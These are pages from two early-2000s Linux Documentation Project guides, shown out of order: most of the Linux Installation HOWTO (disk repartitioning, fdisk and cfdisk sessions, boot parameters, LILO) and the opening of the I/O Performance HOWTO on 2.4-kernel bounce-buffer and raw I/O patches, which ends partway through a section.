There is a non-destructive disk repartitioner available for MS-DOS, called FIPS. With FIPS, a disk optimizer (such as Norton Speed Disk), and a little bit of luck, you should be able to resize MS-DOS partitions without destroying the data on them.

The older method of resizing a partition, if you don't have one of these resizing partition editors available, is to delete the partition(s), and re-create them with smaller sizes. If you use this method, you absolutely must make a backup in order to save any of your data.

The classic way to modify partitions is with the program FDISK. For example, let's say that you have an 80 meg hard drive, dedicated to MS-DOS. You'd like to split it in half---40 megs for MS-DOS and 40 megs for Linux. In order to do this, you run FDISK under MS-DOS, delete the 80 meg MS-DOS partition, and re-create a 40 meg MS-DOS partition in its place. You can then format the new partition and reinstall your MS-DOS software from backups. 40 megabytes of the drive is left empty. Later, you create Linux partitions on the unused portion of the drive.

In short, you should do the following to resize MS-DOS partitions with FDISK:

  1. Make a full backup of your system.

  2. Create an MS-DOS bootable floppy, using a command such as
    FORMAT /S A:
    Copy the files FDISK.EXE and FORMAT.COM to this floppy, as well as any other utilities that you need. (For example, utilities to recover your system from backup.)

  3. Boot the MS-DOS system floppy.

  4. Run FDISK, possibly specifying the drive to modify (such as C: or D:).

  5. Use the FDISK menu options to delete the partitions which you wish to resize. This will destroy all data on the affected partitions.

  6. Use the FDISK menu options to re-create those partitions, with smaller sizes.

  7. Exit FDISK and re-format the new partitions with the FORMAT command.

  8. Restore the original files from backup.

Note that MS-DOS FDISK will give you an option to create a ``logical DOS drive''. A logical DOS drive is just a logical partition on your hard drive. You can install Linux on a logical partition, but you don't want to create that logical partition with MS-DOS fdisk. So, if you're currently using a logical DOS drive, and want to install Linux in its place, you should delete the logical drive with MS-DOS FDISK, and (later) create a logical partition for Linux in its place.

The mechanism used to repartition for OS/2 and other operating systems is similar. See the documentation for those operating systems for details.

6.4. Creating partitions for Linux

After repartitioning your drive, you need to create partitions for Linux. Before describing how to do that, we'll talk about partitions and filesystems under Linux.

6.4.1. Partition basics

Linux requires at least one partition, for the root filesystem, which will hold the Linux kernel itself.

You can think of a filesystem as a partition formatted for Linux. Filesystems are used to hold files. Every system must have a root filesystem, at least. However, many users prefer to use multiple filesystems---one for each major part of the directory tree. For example, you may wish to create a separate filesystem to hold all files under the /usr directory. (Note that on UNIX systems, forward slashes are used to delimit directories, not backslashes as with MS-DOS.) In this case you have both a root filesystem, and a /usr filesystem.

Each filesystem requires its own partition. Therefore, if you're using both root and /usr filesystems, you'll need to create two Linux partitions.

In addition, most users create a swap partition, which is used for virtual RAM. If you have, say, 4 megabytes of memory on your machine, and a 10-megabyte swap partition, as far as Linux is concerned you have 14 megabytes of virtual memory.

When using swap space, Linux moves unused pages of memory out to disk, allowing you to run more applications at once on your system. However, because swapping is often slow, it's no replacement for real physical RAM. But applications that require a great deal of memory (such as the X window system) often rely on swap space if you don't have enough physical RAM.

Nearly all Linux users employ a swap partition. If you have 4 megabytes of RAM or less, a swap partition is required to install the software. It is strongly recommended that you have a swap partition anyway, unless you have a great amount of physical RAM.

The size of your swap partition depends on how much virtual memory you need. It's often suggested that you have at least 16 megabytes of virtual memory total. Therefore, if you have 8 megs of physical RAM, you might want to create an 8-megabyte swap partition. Note that there are platform-dependent limits on the size of swap partitions; see the Partition-HOWTO if you want to create a swap partition larger than 1GB.

You can find more on the theory of swap space layout and disk partitioning in the Linux Partition mini-HOWTO (http://www.linuxdoc.org/HOWTO/mini/Partition.html).

Note: it is possible, though a bit tricky, to share swap partitions between Linux and Windows 95 in a dual-boot system. For details, see the Linux Swap Space Mini-HOWTO.

Gotcha #1: If you have an EIDE drive with a partition that goes above 504MB, your BIOS may not allow you to boot to a Linux installed there. So keep your root partition below 504MB. This shouldn't be a problem for SCSI drive controllers, which normally have their own drive BIOS firmware. For technical details, see the Large Disk Mini-HOWTO.

Gotcha #2: Are you mixing IDE and SCSI drives? Then watch out. Your BIOS may not allow you to boot directly to a SCSI drive.

6.4.2. Sizing partitions

Besides your root and swap partitions, you'll want to set up one or more partitions to hold your software and home directories.

While, in theory, you could run everything off a single huge root partition, almost nobody does this. Having multiple partitions has several advantages:

  • It often cuts down the time required for boot-time file-system checks.

  • Files can't grow across partition boundaries. Therefore you can use partition boundaries as firebreaks against programs (like Usenet news) that want to eat huge amounts of disk, to prevent them from crowding out file space needed by your kernel and the rest of your applications.

  • If you ever develop a bad spot on your disk, formatting and restoring a single partition is less painful than having to redo everything from scratch.

On today's large disks, a good basic setup is to have a small root partition (less than 80 meg), a medium-sized /usr partition (up to 300 meg or so) to hold system software, and a /home partition occupying the rest of your available space for home directories.

You can get more elaborate. If you know you're going to run Usenet news, for example, you may want to give it a partition of its own to control its maximum possible disk usage. Or create a /var partition for mail, news, and temporary files all together. But in today's regime of very cheap, very large hard disks these complications seem less and less necessary for your first Linux installation. For your first time, especially, keep it simple.

6.5. Booting the installation disk

The first step is to boot the bootdisk you generated. Normally you'll be able to boot hands-off; the boot kernel prompt will fill itself in after 10 seconds. This is how you'll normally boot from an IDE disk.

What's actually happening here is this: the boot disk provides a miniature operating system which (because the hard drive isn't prepared) uses a portion of your RAM as a virtual disk (called, logically enough, a `ramdisk').

The boot disk loads onto the ramdisk a small set of files and installation tools which you'll use to prepare your hard drive and install a production Linux on it from your CD-ROM.

(In times past this was a two-stage-process, involving a second disk called a `root disk'; this changed when kernel modules were introduced.)

By giving arguments after the kernel name, you can specify various hardware parameters, such as your SCSI controller IRQ and address, or drive geometry, before booting the Linux kernel. This may be necessary if Linux does not detect your SCSI controller or hard drive geometry, for example.

In particular, many BIOS-less SCSI controllers require you to specify the port address and IRQ at boot time. Likewise, IBM PS/1, ThinkPad, and ValuePoint machines do not store drive geometry in the CMOS, and you must specify it at boot time. (Later on, you'll be able to configure your production system to supply such parameters itself.)

Watch the messages as the system boots. They will list and describe the hardware your installation Linux detects. In particular, if you have a SCSI controller, you should see a listing of the SCSI hosts detected. If you see the message

SCSI: 0 hosts

Then your SCSI controller was not detected, and you will have to figure out how to tell the kernel where it is.

Also, the system will display information on the drive partitions and devices detected. If any of this information is incorrect or missing, you will have to force hardware detection.

On the other hand, if all goes well and your hardware seems to be detected, you can skip to the following section, ``Loading the root disk.''

To force hardware detection, you must enter the appropriate parameters at the boot prompt, using the following syntax:

linux <parameters...>

There are a number of such parameters available; we list some of the most common below. Modern Linux boot disks will often give you the option to look at help screen describing kernel parameters before you boot.

  • hd=cylinders,heads,sectors Specify the drive geometry. Required for systems such as the IBM PS/1, ValuePoint, and ThinkPad. For example, if your drive has 683 cylinders, 16 heads, and 32 sectors per track, enter
    linux hd=683,16,32

    tmc8xx=memaddr,irq Specify address and IRQ for BIOS-less Future Domain TMC-8xx SCSI controller. For example,

    linux tmc8xx=0xca000,5

    Note that the 0x prefix must be used for all values given in hex. This is true for all of the following options.

  • st0x=memaddr,irq Specify address and IRQ for BIOS-less Seagate ST02 controller.

  • t128=memaddr,irq Specify address and IRQ for BIOS-less Trantor T128B controller.

  • ncr5380=port,irq,dma Specify port, IRQ, and DMA channel for generic NCR5380 controller.

  • aha152x=port,irq,scsi_id,1 Specify port, IRQ, and SCSI ID for BIOS-less AIC-6260 controllers. This includes Adaptec 1510, 152x, and Soundblaster-SCSI controllers.

If you have questions about these boot-time options, please read the Linux SCSI HOWTO, which should be available on any Linux FTP archive site (or from wherever you obtained this document). The SCSI HOWTO explains Linux SCSI compatibility in much more detail.

6.5.1. Choosing Console or X installation

After boot, all current Linuxes run a screen-oriented installation program which tries to interactively walk you through these steps, giving lots of help.

You will probably get the option to try to configure X right away so the installation program can go graphical. If you choose this route, the installation program will quiz you about your mouse and monitor type before getting to the installation proper. Once you get your production Linux installed, these settings will be saved for you. You will be able to tune your monitor's performance later, so at this stage it makes sense to settle for a basic 640x480 SVGA mode.

X isn't necessary for installation, but (assuming you can get past the mouse and monitor configuration) many people find the graphical interface easier to use. And you're going to want to bring up X anyway, so trying it early makes some sense.

Just follow the prompts in the program. It will take you through the steps necessary to prepare your disk, create initial user accounts, and install software packages off the CD-ROM.

In the following subsections we'll describe some of the tricky areas in the installation sequence as if you were doing them by hand. This should help you understand what the installation program is doing, and why.

6.5.2. Using fdisk and cfdisk

Your first installation step once the root-disk Linux is booted will be to create or edit the partition tables on your disks. Even if you used FDISK to set up partitions earlier, you'll need to go back to the partition table now and insert some Linux-specific information now.

To create or edit Linux partitions, we'll use the Linux version of the fdisk program, or its screen-oriented sibling cfdisk. Note that the argument to the fdisk needs to be the device corresponding to an entire disk (e.g. /dev/sda) rather than any of its partitions (such as /dev/sda1).

Generally the installation program will look for a preexisting partition table and offer to run fdisk or cfdisk on it for you. Of the two, cfdisk is definitely easier to use, but current versions of it are also less tolerant of a nonexistent or garbled partition table.

Therefore you may find (especially if you're installing on virgin hardware) that you need to start with fdisk to get to a state that cfdisk can deal with. Try running cfdisk; if it complains, run fdisk. (A good way to proceed if you're building an all-Linux system and cfdisk complains is to use fdisk to delete all the existing partions and then fire up cfdisk to edit the empty table.)

A few notes apply to both fdisk and cfdisk. Both take an argument which is the name of the drive that you wish to create Linux partitions on. Hard drive device names are:

  • /dev/hda First IDE drive

  • /dev/hdb Second IDE drive

  • /dev/sda First SCSI drive

  • /dev/sdb Second SCSI drive

For example, to create Linux partitions on the first SCSI drive in your system, you will use (or your installation program might generate from a menu choice) the command:

cfdisk /dev/sda

If you use fdisk or cfdisk without an argument, it will assume /dev/hda.

To create Linux partitions on the second drive on your system, simply specify either /dev/hdb (for IDE drives) or /dev/sdb (for SCSI drives) when running fdisk.

Your Linux partitions don't all have to be on the same drive. You might want to create your root filesystem partition on /dev/hda and your swap partition on /dev/hdb, for example. In order to do so just run fdisk or cfdisk once for each drive.

In Linux, partitions are given a name based on the drive which they belong to. For example, the first partition on the drive /dev/hda is /dev/hda1, the second is /dev/hda2, and so on. If you have any logical partitions, they are numbered starting with /dev/hda5, /dev/hda6 and so on up.

Note

You should not create or delete partitions for operating systems other than Linux with Linux fdisk or cfdisk. That is, don't create or delete MS-DOS partitions with this version of fdisk; use MS-DOS's version of FDISK instead. If you try to create MS-DOS partitions with Linux fdisk, chances are MS-DOS will not recognize the partition and not boot correctly.

Here's an example of using fdisk. Here, we have a single MS-DOS partition using 61693 blocks on the drive, and the rest of the drive is free for Linux. (Under Linux, one block is 1024 bytes. Therefore, 61693 blocks is about 61 megabytes.) We will create just two partitions in this tutorial example, swap and root. You should probably extend this to four Linux partitions in line with the recommendations above: one for swap, one for the root filesystem, one for system software, and a home directory area.

First, we use the ``p'' command to display the current partition table. As you can see, /dev/hda1 (the first partition on /dev/hda) is a DOS partition of 61693 blocks.

Command (m for help):   p
Disk /dev/hda: 16 heads, 38 sectors, 683 cylinders
Units = cylinders of 608 * 512 bytes

     Device Boot  Begin   Start     End  Blocks   Id  System
  /dev/hda1   *       1       1     203   61693    6  DOS 16-bit >=32M

Command (m for help):

Next, we use the ``n'' command to create a new partition. The Linux root partition will be 80 megs in size.

Command (m for help):  n
Command action
    e   extended
    p   primary partition (1-4)
p

Here we're being asked if we want to create an extended or primary partition. In most cases you want to use primary partitions, unless you need more than four partitions on a drive. See the section ``Repartitioning'', above, for more information.

Partition number (1-4): 2
First cylinder (204-683):  204
Last cylinder or +size or +sizeM or +sizeK (204-683): +80M

The first cylinder should be the cylinder AFTER where the last partition left off. In this case, /dev/hda1 ended on cylinder 203, so we start the new partition at cylinder 204.

As you can see, if we use the notation ``+80M'', it specifies a partition of 80 megs in size. Likewise, the notation ``+80K'' would specify an 80 kilobyte partition, and ``+80'' would specify just an 80 byte partition.

Warning: Linux cannot currently use 33090 sectors of this partition

If you see this warning, you can ignore it. It is left over from an old restriction that Linux filesystems could only be 64 megs in size. However, with newer filesystem types, that is no longer the case... partitions can now be up to 4 terabytes in size.

Next, we create our 10 megabyte swap partition, /dev/hda3.

Command (m for help): n
Command action
    e   extended
    p   primary partition (1-4)
p

Partition number (1-4): 3
First cylinder (474-683):  474
Last cylinder or +size or +sizeM or +sizeK (474-683):  +10M

Again, we display the contents of the partition table. Be sure to write down the information here, especially the size of each partition in blocks. You need this information later.

Command (m for help): p
Disk /dev/hda: 16 heads, 38 sectors, 683 cylinders
Units = cylinders of 608 * 512 bytes

     Device Boot  Begin   Start     End  Blocks   Id  System
  /dev/hda1   *       1       1     203   61693    6  DOS 16-bit >=32M
  /dev/hda2         204     204     473   82080   83  Linux native
  /dev/hda3         474     474     507   10336   83  Linux native

Note that the Linux swap partition (here, /dev/hda3) has type ``Linux native''. We need to change the type of the swap partition to ``Linux swap'' so that the installation program will recognize it as such. In order to do this, use the fdisk ``t'' command:

Command (m for help): t
Partition number (1-4): 3
Hex code (type L to list codes): 82

If you use ``L'' to list the type codes, you'll find that 82 is the type corresponding to Linux swap.

To quit fdisk and save the changes to the partition table, use the ``w'' command. To quit fdisk WITHOUT saving changes, use the ``q'' command.

After quitting fdisk, the system may tell you to reboot to make sure that the changes took effect. In general there is no reason to reboot after using fdisk---modern versions of fdisk and cfdisk are smart enough to update the partitions without rebooting.

6.5.3. Post-partition steps

After you've edited the partition tables, your installation program should look at them and offer to enable your swap partition for you. Tell it yes.

(This is made a question, rather than done automatically, on the off chance that you're running a dual-boot system and one of your non-Linux partitions might happen to look like a swap volume.)

Next the program will ask you to associate Linux filesystem names (such as /, /usr, /var, /tmp, /home, /home2, etc.) with each of the non-swap partitions you're going to use.

There is only one hard and fast rule for this. There must be a root filesystem, named /, and it must be bootable. You can name your other Linux partitions anything you like. But there are some conventions about how to name them which will probably simplify your life later on.

Earlier on I recommended a basic three-partition setup including a small root, a medium-sized system-software partition, and a large home-directory partition. Traditionally, these would be called /, /usr, and /home. The counterintuitive `/usr' name is a historical carryover from the days when (much smaller) Unix systems carried system software and user home directories on a single non-root partition. Some software depends on it.

If you have more than one home-directory area, it's conventional to name them /home, /home2, /home3, etc. This may come up if you have two physical disks. On my personal system, for example, the layout currently looks like this:

Filesystem         1024-blocks  Used Available Capacity Mounted on
/dev/sda1              30719   22337     6796     77%   /
/dev/sda3             595663  327608   237284     58%   /usr
/dev/sda4            1371370    1174  1299336      0%   /home
/dev/sdb1            1000949  643108   306130     68%   /home2

The second disk (sdb1) isn't really all /home2; the swap partitions on sda and sdb aren't shown in this display. But you can see that /home is the large free area on sda and /home2 is the user area of sdb.

If you want to create an partition for scratch, spool, temporary, mail, and news files, call it /var. Otherwise you'll probably want to create a /usr/var and create a symbolic link named /var that points back to it (the installation program may offer to do this for you).

6.6. Installing software packages

Once you've gotten past preparing your partitions, the remainder of the installation should be almost automatic. Your installation program (whether EGA or X-based) will guide you through a series of menus which allow you to specify the CD-ROM to install from, the partitions to use, and so forth.

Here we're not going to document many of the specifics of this stage of installation. It's one of the parts that varies most between Linux distributions (vendors traditionally compete to add value here), but also the simplest part. And the installation programs are pretty much self-explanatory, with good on-screen help.

6.7. After package installations

After installation is complete, and if all goes well, the installation program will walk you through a few options for configuring your system before its first boot from hard drive.

6.7.1. LILO, the LInux LOader

LILO (which stands for LInux LOader) is a program that will allow you to boot Linux (as well as other operating systems, such as MS-DOS) from your hard drive.

You may be given the option of installing LILO on your hard drive. Unless you're running OS/2, answer `yes'. OS/2 has special requirements; see Custom LILO Configuration below.

Installing LILO as your primary loader makes a separate boot diskette unnecessary; instead, you can tell LILO at each boot time which OS to boot.

6.7.2. Making a production boot disk (optional)

You may also be given the chance to create a ``standard boot disk'', which you can use to boot your newly-installed Linux system. (This is an older and slightly less convenient method which assumes that you will normally boot DOS, but use the boot disk to start Linux.)

For this you will need a blank, high-density MS-DOS formatted diskette of the type that you boot with on your system. Simply insert the disk when prompted and a boot diskette will be created. (This is not the same as an installation bootdisk, and you can't substitute one for the other!)

6.7.3. Miscellaneous system configuration

The post-installation procedure may also take you through several menu items allowing you to configure your system. This includes specifying your modem and mouse device, as well as your time zone. Follow the menu options.

It may also prompt you to create user accounts or put a password on the root (administration) account. This is not complicated and you can usually just walk through the screen instructions.

Prev | Home | Next
Installation Overview |  | Booting Your New System


Booting Your New System

The Linux Installation HOWTO
Prev Next

7. Booting Your New System

If everything went as planned, you should now be able to boot Linux from the hard drive using LILO. Alternatively, you should be able to boot your Linux boot floppy (not the original bootdisk floppy, but the floppy created after installing the software). After booting, login as root. Congratulations! You have your very own Linux system.

If you are booting using LILO, try holding down shift or control during boot. This will present you with a boot prompt; press tab to see a list of options. In this way you can boot Linux, MS-DOS, or whatever directly from LILO.

Prev | Home | Next
Installation In Detail |  | After Your First Boot


The Linux Installation HOWTO

Eric Steven Raymond

Thyrsus Enterprises

esr@thyrsus.com

Copyright © 2000 by Eric S. Raymond

Revision History
Revision 5.6 | 2002-01-04 | Revised by: esr
Minor corrections.
Revision 5.6 | 2001-09-06 | Revised by: esr
Added a Translation section.
Revision 5.5 | 2001-07-11 | Revised by: esr
PnP cards are no longer a problem.
Revision 5.4 | 2001-06-14 | Revised by: esr
Added link to Post-installation HOWTO.
Revision 5.3 | 2001-03-9 | Revised by: esr
Fixes for various links.
Revision 5.2 | 2001-02-22 | Revised by: esr
LDP Styleguide markup fixes.
Revision 5.1 | 2001-01-29 | Revised by: esr
Minor corrections for the post-2.1 world.
Revision 5.0 | 2000-07-21 | Revised by: esr
First DocBook version.

This document describes how to obtain and install Linux software. It is the first document which a new Linux user should read to get started.

Table of Contents
1. Introduction
1.1. Purpose of this document
1.2. Translations
1.3. Other sources of information
1.4. New versions of this document
1.5. Feedback and Corrections
2. Recent Changes
3. The Easiest Option: Buy, Don't Build
4. Before You Begin
4.1. Hardware requirements
4.2. Space requirements and coexistence
4.3. Time requirements
4.4. Choosing a Linux distribution
5. Installation Overview
5.1. First Installation Steps: The Easy Way
5.2. First Installation Steps: The Hard Way
5.3. Continuing the Installation
5.4. Basic Parts of an Installation Kit
6. Installation In Detail
6.1. Getting prepared for installation
6.2. Creating the boot and root floppies
6.3. Repartitioning your DOS/Windows drives
6.4. Creating partitions for Linux
6.5. Booting the installation disk
6.6. Installing software packages
6.7. After package installations
7. Booting Your New System
8. After Your First Boot
8.1. Beginning System Administratration
8.2. Custom LILO Configuration
9. Administrivia
9.1. Terms of Use
9.2. Acknowledgements
Next
Introduction


Introduction

The Linux Installation HOWTO
Prev Next

1. Introduction

1.1. Purpose of this document

Linux is a freely-distributable implementation of Unix for inexpensive personal machines (it was developed on 386s, and now supports 486, 586, Pentium, PowerPC, Sun Sparc, ARM and DEC Alpha hardware, and even the IBM System 390 mainframe!). It supports a wide range of software, including X Windows, Emacs, TCP/IP networking (including SLIP), and many applications.

This document assumes that you have heard of and know about Linux, and now want to get it running. It focuses on the Intel base version, which is the most popular, but much of the advice applies on Power PCs, Sparcs and Alphas as well.

1.2. Translations

This document has been translated to Catalan anfd Czech.

1.3. Other sources of information

If you are new to Linux, there are several sources of basic information about the system. The best place to find these is at the at Linux Documentation Project home page. You can find the latest version of this document there.

You should probably start by browsing the resources under General Linux Information; the Linux INFO-SHEET and the Linux META-FAQ. The `Linux Frequently Asked Questions' document contains many common questions (and answers!) about Linux -- it is a ``must read'' for new users.

The Linux Documentation Project is writing a set of manuals and books about Linux, all of which are freely distributable on the net and available from the LDP home page.

The book ``Linux Installation and Getting Started'' is a complete guide to getting and installing Linux, as well as how to use the system once you've installed it. It contains a complete tutorial to using and running the system, and much more information than is contained here. You can browse it, or download a copy, from the LDP home page.

Finally, there is a rather technical Guide to x86 Bootstrapping. This document is NetBSD- rather than Linux-oriented, but contains useful material on disk configuration and boot managers for multi-OS setups.

Please do not email me asking for installation help. Even if I had the time to handle such requests, troubleshooting by mail is much less efficient than asking help from your local Linux user's group. You can find worldwide contact information for Linux user groups on the LDP site.

1.4. New versions of this document

New versions of the Linux Installation HOWTO will be periodically posted to comp.os.linux.help and comp.os.linux.announce and news.answers. They will also be uploaded to various Linux WWW and FTP sites, including the LDP home page.

You can also view the latest version of this on the World Wide Web via the URL http://www.linuxdoc.org/HOWTO/Installation-HOWTO.html.

1.5. Feedback and Corrections

If you have questions or comments about this document, please feel free to mail Eric S. Raymond, at <esr@thyrsus.com>. I welcome any suggestions or criticisms. If you find a mistake with this document, please let me know so I can correct it in the next version. Thanks.

Please do not mail me questions about how to solve hardware problems encountered during installation. Consult Linux Installation and Getting Started, bug your vendor, or consult the Linux newsgroup comp.os.linux.setup. This HOWTO is intended to be rapid, painless guide to normal installation -- a separate HOWTO on hardware problems and diagnosis is in preparation.

Prev | Home | Next
The Linux Installation HOWTO |  | Recent Changes


Installation Overview

The Linux Installation HOWTO
Prev Next

5. Installation Overview

It's wise to collect configuration information on your hardware before installing. Know the vendor and model number of each card in your machine; collect the IRQs and DMA channel numbers. You probably won't need this information -- but if it turns out you do, you'll need it very badly.

If you want to run a "dual-boot" system (Linux and DOS or Windows or both), rearrange (repartition) your disk to make room for Linux. If you're wise, you'll back up everything first!.

5.1. First Installation Steps: The Easy Way

If you have an EIDE/ATAPI CDROM (normal these days), check your machine's BIOS settings to see if it has the capability to boot from CD-ROM. Most machines made after mid-1997 can do this.

If yours is among them, change the settings so that the CD-ROM is checked first. This is often in a 'BIOS FEATURES' submenu of the BIOS configuration menus.

Then insert the installation CD-ROM. Reboot. You're started.

If you have a SCSI CDROM you can often still boot from it, but it gets a little more motherboard/BIOS dependent. Those who know enough to spend the extra dollars on a SCSI CDROM drive probably know enough to figure it out.

5.2. First Installation Steps: The Hard Way

  • Make installation floppies.

  • Boot an installation mini-Linux from the floppies in order to get access to the CD-ROM.

5.3. Continuing the Installation

  • Prepare the Linux filesystems. (If you didn't edit the disk partition table earlier, you will at this stage.)

  • Install a basic production Linux from the CD-ROM.

  • Boot Linux from the hard drive.

  • (Optional) Install more packages from CD-ROM.

5.4. Basic Parts of an Installation Kit

Here are the basic parts of an installable distribution:

  • The README and FAQ files. These will usually be located in the top-level directory of your CD-ROM and be readable once the CD-ROM has been mounted under Linux. (Depending on how the CD-ROM was generated, they may even be visible under DOS/Windows.) It is a good idea to read these files as soon as you have access to them, to become aware of important updates or changes.

  • A number of bootdisk images (often in a subdirectory). If your CD-ROM is not bootable, one of these is the file that you will write to a floppy to create the boot disk. You'll select one of the above bootdisk images, depending on the type of hardware that you have in your system.

The issue here is that some hardware drivers conflict with each other in strange ways, and instead of attempting to debug hardware problems on your system it's easier to use a boot floppy image with only the drivers you need enabled. (This will have the nice side effect of making your kernel smaller.)

  • A rescue disk image. This is a disk containing a basic kernel and tools for disaster recovery in case something trashes the kernel or boot block of your hard disk.

  • RAWRITE.EXE. This is an MS-DOS program that will write the contents of a file (such as a bootdisk image) directly to a floppy, without regard to format.

You only need RAWRITE.EXE if you plan to create your boot and root floppies from an MS-DOS system. If you have access to a UNIX workstation with a floppy drive instead, you can create the floppies from there, using the `dd' command, or possibly a vendor-provided build script. See the man page for dd(1) and ask your local UNIX gurus for assistance. There's a dd example later in this document.

  • The CD-ROM itself. The purpose of the boot disk is to get your machine ready to load the root or installation disks, which in turn are just devices for preparing your hard disk and copying portions of the CD-ROM to it. If your CD-ROM is bootable, you can boot it and skip right to preparing your disk.

Prev | Home | Next
Before You Begin |  | Installation In Detail


I/O Performance HOWTO

Sharon Snider

v1.1, 05/2002

Revision History
Revision v1.1 | 2002-05-01 | Revised by: sds
Updated technical information and links.
Revision v1.0 | 2002-04-01 | Revised by: sds
Wrote and converted to DocBook XML.

This HOWTO covers information on available patches for the 2.4 kernel that can improve the I/O performance of your Linux™ operating system.

Table of Contents
1. Distribution Policy
2. Introduction
3. Avoiding Bounce Buffers
3.1. Memory and Addressing in the Linux 2.4 Kernel
3.2. The Problem with Bounce Buffers
3.3. Locating the Patch
3.4. Modifying Your Device Driver to Avoid Bounce Buffers
4. Raw I/O Variable-Size Optimization Patch
4.1. Locating the Patch
4.2. Modifying Your Driver for the Raw I/O Variable-Size Optimization Patch
5. I/O Request Lock Patch
5.1. Locating the Patch
5.2. Modifying Your Driver for the I/O Request Lock Patch
6. Additional Resources
Next
Distribution Policy


Introduction

I/O Performance HOWTO
Prev Next

2. Introduction

This HOWTO provides information on improving the input/output (I/O) performance of the Linux operating system for the 2.4 kernel. Additional patches will be added as they become available.

Please send any comments, or contributions via e-mail to Sharon Snider.

Prev | Home | Next
Distribution Policy |  | Avoiding Bounce Buffers


Avoiding Bounce Buffers

I/O Performance HOWTO
Prev Next

3. Avoiding Bounce Buffers

This section provides information on applying and using the bounce buffer patch on the Linux 2.4 kernel. The bounce buffer patch, written by Jens Axboe, enables device drivers that support direct memory access (DMA) I/O to high-address physical memory to avoid bounce buffers.

This document provides a brief overview on memory and addressing in the Linux kernel, followed by information on why and how to make use of the bounce buffer patch.

3.1. Memory and Addressing in the Linux 2.4 Kernel

The Linux 2.4 kernel includes configuration options for specifying the amount of physical memory in the target computer. By default, the configuration is limited to the amount of memory that can be directly mapped into the kernel's virtual address space starting at PAGE_OFFSET. On i386 systems the default mapping scheme limits kernel-mode addressability to the first gigabyte (GB) of physical memory, also known as low memory. Conversely, high memory is normally the memory above 1 GB. High memory is not directly accessible or permanently mapped by the kernel. Support for high memory is an option that is enabled during configuration of the Linux kernel.

3.2. The Problem with Bounce Buffers

When DMA I/O is performed to or from high memory, an area is allocated in low memory known as a bounce buffer. When data travels between a device and high memory, it is first copied through the bounce buffer.

Systems with a large amount of high memory and intense I/O activity can create a large number of bounce buffers that can cause memory shortage problems. In addition, the excessive number of bounce buffer data copies can lead to performance degradation.

Peripheral component interface (PCI) devices normally address up to 4 GB of physical memory. When a bounce buffer is used for high memory that is below 4 GB, time and memory are wasted because the peripheral has the ability to address that memory directly. Using the bounce buffer patch can decrease, and possibly eliminate, the use of bounce buffers.

3.3. Locating the Patch

The latest version of the bounce buffer patch is block-highmem-all-18b.bz2, and it is available from Andrea Arcangeli's -aa series kernels at http://kernel.org/pub/linux/kernel/people/andrea/kernels/v2.4/.

3.3.1. Configuring the Linux Kernel to Avoid Bounce Buffers

This section includes information on configuring the Linux kernel to avoid bounce buffers. The Linux Kernel-HOWTO at http://www.linuxdoc.org/HOWTO/Kernel-HOWTO.html explains the process of re-compiling the Linux kernel.

The following kernel configuration options are required to enable the bounce buffer patch:

Development Code - To enable the configurator to display the High I/O Support option, select the Code maturity level options category and specify "y" to Prompt for development and/or incomplete code/drivers.

High Memory Support - To enable support for physical memory that is greater than 1 GB, select the Processor type and features category, and select a value from the High Memory Support option.

High Memory I/O Support - To enable DMA I/O to physical addresses greater than 1 GB, select the Processor type and features category, and enter "y" to the HIGHMEM I/O support option. This configuration option is a new option introduced by the bounce buffer patch.

3.3.2. Enabled Device Drivers

The bounce buffer patch provides the kernel infrastructure, as well as the SCSI and IDE mid-level driver modifications to support DMA I/O to high memory. Updates for several device drivers to make use of the added support are also included with the patch.

If the bounce buffer patch is applied and you configure the kernel to support high memory I/O, many IDE configurations and the device drivers listed below perform DMA I/O without the use of bounce buffers:

aic7xxx_drv.o
aic7xxx_old.o
cciss.o
cpqarray.o
megaraid.o
qlogicfc.o
sym53c8xx.o

3.4. Modifying Your Device Driver to Avoid Bounce Buffers

If your device drivers are not listed above in the Enabled Device Drivers section, and the device is capable of high-memory DMA I/O, you can modify your device driver to make use of the bounce buffer patch as follows. More information on rebuilding a Linux device driver is available at http://www.xml.com/ldd/chapter/book/index.html.

  1. A.) For SCSI Adapter Drivers: set the highmem_io bit in the Scsi_Host_Template structure.

    B.) For IDE Adapter Drivers: set the highmembit in the ide_hwif_t structure.

  2. Call pci_set_dma_mask(struct pci_dev *pdev, dma_addr_t mask) to specify the address bits that the device can successfully use on DMA operations.

    If DMA I/O can be supported with the specified mask, pci_set_dma_mask() will set pdev->dma_mask and return 0. For SCSI or IDE, the mask value will also be passed by the mid-level drivers to blk_queue_bounce_limit(request_queue_t *q, u64 dma_addr) so that bounce buffers are not created for memory directly addressable by the device. Drivers other than SCSI or IDE must call blk_queue_bounce_limit() directly.

  3. Use pci_map_page(dev, page, offset, size, direction), instead of pci_map_single(dev, address, size, direction) to map a memory region so that it is accessible by the peripheral device. pci_map_page() supports both high and low memory.

    The address parameter for pci_map_single() correlates to the page and offset parameters for pci_map_page(). Use the virt_to_page() macro to convert an address to a page and offset. The virt_to_page() macro is defined by including pci.h. For example:

    void *address;

    struct page *page;

    unsigned long offset;

    page = virt_to_page(address);

    offset = (unsigned long) address & ~PAGE_MASK;

    Call pci_unmap_page() after the DMA I/O transfer is complete to remove the mapping established by pci_map_page().

    Note

    pci_map_single() is implemented using virt_to_bus(). virt_to_bus() handles low memory addresses only. Drivers supporting high memory should no longer call virt_to_bus() or bus_to_virt().

  4. If your driver calls pci_map_sg() to map a scatter-gather DMA operation, your driver should set the page and offset fields instead of the address field of the scatterlist structure. Refer to step 3 for converting an address to a page and offset.

    Note

    If your driver is already using the PCI DMA API, continue to use pci_map_page() or pci_map_sg() as appropriate. However, do not use the address field of the scatterlist structure.

Prev | Home | Next
Introduction |  | Raw I/O Variable-Size Optimization Patch


Distribution Policy

I/O Performance HOWTO
Prev Next

1. Distribution Policy

The I/O Performance-HOWTO is copyrighted © 2002, by IBM Corporation

Permission is granted to copy, distribute, and/or modify this document under the terms of the GNU Free Documentation License, Version 1.1 or any later version published by the Free Software Foundation with no Invariant Sections, no Front-Cover text, and no Back-Cover text. A copy of the license can be found at http://www.gnu.org/licenses/fdl.txt.

Prev | Home | Next
I/O Performance HOWTO |  | Introduction


Raw I/O Variable-Size Optimization Patch

I/O Performance HOWTO
Prev Next

4. Raw I/O Variable-Size Optimization Patch

This section provides information on the raw I/O variable-size optimization patch for the Linux 2.4 kernel written by Badari Pulavarty. This patch is also known as the RAW VARY or PAGESIZE_io patch.

The raw I/O variable-size patch changes the block size used for raw I/O from hardsect_size (normally 512 bytes) to 4 kilobytes (K). The patch improves I/O throughput and CPU utilization by reducing the number of buffer heads needed for raw I/O operations.

4.1. Locating the Patch

You can download the patch from one of the following locations:

